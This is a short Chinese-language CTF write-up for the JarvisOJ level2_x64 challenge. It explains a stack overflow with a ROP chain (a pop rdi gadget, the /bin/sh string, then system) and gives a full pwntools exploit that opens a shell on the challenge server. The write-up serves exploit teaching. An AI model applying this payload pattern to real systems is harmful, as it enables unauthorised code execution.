只开启了NX保护,64位的系统
data:0000000000600A90 hint db '/bin/sh',0有/bin/sh字符串
text:000000000040063E call _system有call system 为了让它们连接到一起需要给system函数传递参数要用到ROP用程序自带的内容实现一些不可告人的操作。
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。所以我们要想办法向rdi里面写入参数
liu@liu-F117-F:~/桌面/oj/level2_x64$ ROPgadget --binary level2_x64 --only "pop|ret"|grep rdi 0x00000000004006b3 : pop rdi ; ret运气不错,搜索到了。
from pwn import * system_addr=0x000000000040063E poprdi_drt=0x00000000004006b3 binsh_addr=0x0000000000600A90 p=remote("pwn2.jarvisoj.com",9882) p.recvline() payload='A'*0x80+"A"*8+p64(poprdi_drt)+p64(binsh_addr)+p64(system_addr) p.send(payload) p.interactive()这里重要的是payload的构造。相比起来32位略显不好控制。不过只要控制住pop传参,传完之后rbp的位置,就能pwn
